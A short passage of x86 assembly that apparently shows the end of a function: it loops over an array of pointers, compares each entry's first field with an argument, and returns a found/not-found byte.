cmp dword [ecx + edx*4], 0
je 0x40b087
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x10c]
mov eax, dword [ecx + edx*4]
mov ecx, dword [eax]
cmp ecx, dword [ebp + 8]
jne 0x40b085
mov byte [ebp - 0x101], 1
jmp 0x40b087
jmp 0x40b03f
mov al, byte [ebp - 0x101]
mov esp, ebp
pop ebp
ret